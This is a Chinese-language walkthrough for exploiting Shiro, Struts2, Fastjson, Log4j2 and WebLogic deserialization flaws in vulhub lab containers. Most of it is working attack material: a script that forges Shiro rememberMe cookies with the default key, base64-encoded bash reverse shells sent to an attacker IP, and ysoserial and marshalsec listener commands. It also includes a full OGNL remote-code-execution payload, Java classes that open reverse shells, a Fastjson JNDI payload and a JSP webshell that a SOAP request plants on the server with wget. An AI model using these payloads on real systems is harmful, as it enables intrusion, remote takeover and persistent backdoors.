Shiro550漏洞原理是Shiro框架提供了一种记住密码(Rememberme)的功能,用户登录成功后会生成经过加密的Cookie值,对Remembe的Cookie进行AES解密、Base64解密后再反序列化,就导致了反序列化RCE漏洞 。 Shiro<1.2.4版本,其使用的密钥为固定密钥Shiro550kPH+bIxk5D2deZiIxcaaaA==
,这就更容易导致RCE漏洞
用vulhub复现
cd vulhub/shiro/CVE-2016-4437
而后开启服务
docker-compose up -d
//-d是后台运行,加不加皆可
访问
攻击端开启监听
而后构造反弹shell语句,在线生成编码后的反弹shell网站
https://ares-x.com/tools/runtime-exec
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
//bash -c {echo,bash -i >& /dev/tcp/192.168.1.129/6666 0>&1}|{base64,-d}|{bash,-i}
而后通过ysoserial
工具的JRMP监听6666端口并执行反弹shell指令
这里我们相当于在攻击机上启动了一个VPS服务,监听7777端口,然后在这个服务上放了一个反弹shell的payload,并用序列化工具ysoserial指定 CommonsCollections5 利用链生成可执行bash -i >& /dev/tcp/192.168.200.131/6666 0>&1命令的序列化数据payload1。当后面有客户端请求服务时,我们搭建的这个JRMP就会返回这段payload1。
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}"
接下来去利用密钥伪造rememberMe字段,脚本如下
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
而后运行python2 shiro.py 192.168.1.129 7777
接下来对网站进行抓包,在Cookie中添加我们伪造的rememberMe参数
此时查看,已成功反弹shell。
在用户进行登录的时候,Apache Shiro提供Rememberme功能,可以存储cookie,期间使用的是AES-128-CBC进行加密,可以通过Padding Oracle加密生成的攻击代码来重新构造一个恶意的rememberMe字段,重新请求网站,进行反序列化攻击,最终导致任意代码的执行。
Shiro721是使用 登录后rememberMe= {value}去爆破正确的key值 进而反序列化,shiro721 本质上是 padding attack,爆破要弄很久。对比Shiro550条件只要有 足够密钥库 (条件较低)、Shiro721需要登录(要求较高 )。
Struts2 漏洞的原理是由于 Struts2 框架中的一个组件,即 OGNL(Object-Graph Navigation Language) 表达式解析器,存在漏洞。OGNL 是一种强大的表达式语言,它允许开发人员在 Struts2 应用程序中使用动态表达式来访问和操作对象。但是,由于 OGNL 表达式解析器的实现不够安全,攻击者可以通过构造恶意 OGNL 表达式来执行任意代码。例如:当用户提交表单数据并验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。
.do或者 .action 的网站后缀
使用Vuldb靶场进行复现
cd vulhub/struts2/s2-001
而后开启容器
docker-compose up -d
输入**%{1+2}**,结果变成3
说明解析了,存在漏洞,查询tomact路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
回显**tomcatBinDir{/usr/local/tomcat}**,成功实现命令执行
cd vulhub/struts2/s2-053
docker-compose up -d
访问环境hello.action
接下来查看监听
开启环境用vulhub
cd vulhub/struts2/s2-061
docker-compose up -d
接下来抓包,而后修改为POST请求,发送反弹shell恶意指令
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
目标网站在解析 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,这就给了攻击者可乘之机,构造对应的 payload ,让系统执行,然后达到代码执行,甚至命令执行的目的。
攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。
知识科普
JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一。JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI再局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。
RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。RMI服务端可以直接绑定远程调用的对象以外,还可通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并在目录中保存,当客户端使用lookup获取对应名字时,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例。
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d
访问环境
在攻击机模拟json发送post请求
curl http://192.168.1.129:8090/ -H "Content-Type: application/json" --data '{"name":"karsa", "age":22}'
验证漏洞存在,接下来去打
首先编辑恶意java代码
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
对文件进行编译
javac TouchFile.java
搭建HTTP服务传输文件
python -m SimpleHTTPServer 1387
接下来利用java反序列化工具
git clone https://github.com/mbechler/marshalsec.git 下载marshalsec
apt-get install maven 安装maven
mvn clean package -DskipTests 使用maven编译marshalsec成jar包
启动RMI服务器,监听9999端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.129:1387/#TouchFile" 9999
而后抓包,修改为POST请求,修改Content-Type为 application/json,而后传输如下数据
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.129:9999/TouchFile",
"autoCommit":true
}
}
而后查看容器中的/tmp下已成功生成success,反弹shell同理,只需要更改代码即可
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.1.129/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
log4j2框架下的lookup查询服务提供了**{}字段解析功能,传进去的值会被直接解析。例如${java:version}**会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的**.class对象**,造成了远程代码执行(可反弹shell到指定服务器)。
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以
通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
准备反弹shell指令如下
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
//Base64编码的内容为bash -i >& /dev/tcp/192.168.1.129/6666 0>&1
接下来开启监听
接下来利用反序列化工具ysoserial.jar
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}'
接下来下载Exp进行攻击,
Exp地址:https://www.exploit-db.com/exploits/44553
复制代码到Exploit.py中,接下来执行如下指令
python2 Exploit.py 192.168.1.129 7001 /tools/weblogic/ysoserial-all.jar 192.168.1.129 9999 JRMPClient
此时查看监听处
成功反弹shell
Vulhub复现
cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d
开启环境后访问http://192.168.1.129:7001/_async/AsyncResponseService
访问成功说明存在漏洞
写入shell.txt文件,内容如下
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
接下来开启http服务,使得它可以被访问
python -m SimpleHTTPServer 1387
在浏览器访问
接下来就可以直接打了,更改Content-Type为:text/xml,而后传输POST数据如下
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.1.129:1387/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
状态202则说明成功写入,接下来去访问这个木马文件并尝试执行命令
成功实现命令执行
漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是IIOP协议这块,虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在jndi注入的。
weblogic中存在SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件
中间出了一点小Bug,就是我没安装javac,只有java,但安装了过后发现无法运行jar包了
百度过后发现是jdk版本的问题,我们可以使用下面指令来切换JDK版本
update-alternatives --config java
更改为低版本后成功运行jar包